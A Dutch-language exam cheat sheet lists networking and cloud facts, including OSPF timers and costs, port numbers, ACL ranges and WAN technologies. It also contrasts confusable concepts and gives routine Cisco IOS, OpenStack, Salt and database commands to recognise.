| OSPF multicast | 224.0.0.5 alle OSPF-routers · 224.0.0.6 DR/BDR · IPv6 FF02::5 en FF02::6 |
| OSPF hello / dead | 10 s / 40 s (Ethernet, p2p) · 30 s / 120 s (NBMA) |
| OSPF reference bandwidth | 100 Mbps standaard · auto-cost reference-bandwidth in Mbps · bandwidth in kbps |
| OSPF cost T1 / 64 kbps | 64 / 1562 (bij 100 Mbps referentie) |
| OSPF priority | 0–255, standaard 1, 0 = nooit DR |
| Adjacencies zonder DR | n(n−1)/2 |
| GRE | IP-protocol 47 · ≥ 24 bytes overhead · RFC 2784 |
| PPPoE MTU | 1492 (header 8 bytes) |
| PPP NCP-codes | IPCP 8021 · IPv6CP 8057 |
| CHAP debug-codes | 1 challenge · 2 response · 3 success · 4 failure |
| ACL-nummers | Standaard 1–99 · extended 100–199 (en 2000–2699) |
| FTP / Telnet / SSH / HTTP / HTTPS / TFTP | TCP 20+21 / TCP 23 / TCP 22 / TCP 80 / TCP 443 / UDP 69 |
| ATM-cel | 53 bytes = 5 header + 48 payload |
| ISDN BRI / PRI | 2B + D (16 kb/s) / 23B + D (64 kb/s) = 1,544 Mb/s |
| T-carrier | DS0 64 kb/s · T1 = 24 × DS0 = 1,544 Mb/s · T3 = 28 × DS1 |
| SNMP | UDP 161 (get/set) · 162 (traps) |
| Salt | TCP 4505 (publisher) · 4506 (request/return) · states in /srv/salt/ |
| Flask | Standaard 127.0.0.1:5000, debug False, geen SSL |
| MQTT | TCP · 1883 / 8883 (TLS) · QoS 0, 1, 2 |
| CoAP | UDP · ~25 bytes vs. HTTP ~100 · DTLS |
| Base64 | 3 bytes → 4 tekens · 6 bits per teken · padding = |
| LoRaWAN EUI's | DevEUI, AppEUI (1.0.x), JoinEUI (1.1+): allemaal 64-bit |
| GDPR-melding datalek | Binnen 72 uur |
| S3-durability | 99,999999999% (11 negens) |
| vCPU-vuistregel | 1 core ≈ 8 vCPU's (Hyper-V) |
| OpenStack | 2010, Rackspace + NASA · RDO Packstack (Red Hat, 2013, Puppet, answer file) |
| OAuth 2.0 | RFC 6749 (IETF) · 4 rollen · 4 grant types |
Verwarrende paren
| Paar | Verschil |
|---|---|
| MQTT vs. CoAP | Pub/sub via broker over TCP vs. REST-achtig request/response over UDP |
| TLS vs. DTLS | Over TCP vs. over UDP |
| LoRa vs. LoRaWAN | Alleen PHY vs. MAC-laag plus netwerk/platform |
| AppKey vs. NwkSKey/AppSKey | Vooraf gedeelde rootsleutel vs. sessiesleutels na de join |
| IDS vs. SIEM | Detecteert verdacht verkeer (signature/anomaly) vs. verzamelt en correleert logs van de hele omgeving |
| Standaard vs. extended ACL | Alleen bron-IP, bij de bestemming vs. protocol/bron/bestemming/poort, bij de bron |
ip access-group vs. access-class vs. ipv6 traffic-filter | IPv4-ACL op interface vs. ACL op VTY-lijnen vs. IPv6-ACL op interface |
| PAP vs. CHAP | Two-way, plaintext, eenmalig vs. three-way, hash, periodiek |
| HDLC vs. PPP | Cisco-standaard, alleen Cisco-Cisco vs. open, met authenticatie, LQM, multilink |
| eBGP vs. iBGP | Tussen verschillende AS'en vs. binnen hetzelfde AS |
| Single-homed vs. multi-homed | Eén verbinding (geen BGP nodig) vs. meerdere AS'en (BGP) |
| Site-to-site vs. remote-access VPN | Hele netwerken via gateways vs. losse gebruikers met een client |
| Kabel vs. DSL | Gedeeld medium (CMTS/CM) vs. eigen lijn, afstandsgevoelig (DSLAM) |
| ABR vs. ASBR | Tussen areas vs. naar een extern netwerk |
| LSA 1/2/3/4/5 | Router · network (DR) · summary (ABR) · ASBR-summary (ABR) · external (ASBR) |
| O / O IA / O E2 | Intra-area · inter-area · extern |
| Local SPAN vs. RSPAN | Zelfde switch vs. andere switch via een RSPAN-VLAN |
| DHCP-spoofing vs. -starvation | Valse server vs. alle adressen opmaken (DoS) |
| Scaling vs. elasticity (les 4) | Up/down op huidige hardware vs. out/in met dynamisch extra of minder hardware |
| Horizontaal vs. verticaal schalen | Meer machines (out/in) vs. grotere machine (up/down) |
| Cold / warm / hot | Alles uit / DB aan, web en API uit / alles aan |
| Serie vs. parallel (beschikbaarheid) | Beschikbaarheden vermenigvuldigen vs. onbeschikbaarheden vermenigvuldigen |
| Functional vs. non-functional | Hoe het systeem functioneert vs. hoe de architectuur functioneert |
| OAuth 2.0 vs. OpenID Connect vs. SAML | Alleen autorisatie vs. + authenticatie en identiteit (ID token) vs. authN + authZ in XML |
| Access token vs. refresh token | Naar de resource server, kort geldig vs. alleen naar de authorization server, voor een nieuw access token |
| Cinder vs. Swift vs. Glance vs. Nova-ephemeral | Block (persistent) vs. object vs. images vs. verdwijnt met de VM |
| EBS vs. instance store | Persistent vs. ephemeral |
| OVF vs. OVA | Map met bestanden vs. één bestand |
| Fixed vs. floating IP | Privé-IP van de instance vs. publiek IP dat je eraan koppelt |
| Total isolation / data isolation / data segregation | Eigen app en DB / gedeelde app, eigen DB / alles gedeeld, gescheiden op tenant |
| Grains vs. pillars | Info van de minion vs. data (geheimen) van de master |
| require vs. watch | Volgorde vs. volgorde plus reageren op wijziging |
| Declaratief vs. imperatief | Eindtoestand beschrijven (Puppet, Salt) vs. stappen uitschrijven (Chef) |
fetchone() vs. fetchall() | Eén rij vs. lijst met alle rijen |
Commando's om te herkennen
| Doel | Commando |
|---|---|
| OSPF-buren | show ip ospf neighbor |
| Router-ID, netwerken, AD | show ip protocols |
| Router-ID-wijziging actief maken | clear ip ospf process |
| Default route in OSPF | default-information originate (+ statische default route) |
| DR-voorkeur | ip ospf priority |
| OSPFv3 op interface | ipv6 ospf 10 area 0 |
| PPP-authenticatie | username … password … + ppp authentication chap |
| BGP | router bgp · neighbor … remote-as · network … mask · show ip bgp summary |
| GRE | interface tunnel · tunnel source · tunnel destination |
| PAT | ip nat inside source list 1 interface g0/0/1 overload |
| ACL controleren | show access-lists · show ip interface |
| SPAN | monitor session 1 source/destination interface · show monitor |
| OpenStack-credentials laden | source keystonerc_admin |
| Open vSwitch-bridges | ovs-vsctl show |
| Salt: keys / test / state | salt-key -L · salt '*' test.ping · salt '*' state.apply |
| Salt debuggen op de minion | salt-call --log-level=debug state.apply |
| SQLite-tabeldefinities | .schema |
| MongoDB | use test · db.coll.find() · insertOne · updateOne(…, {$set: …}) |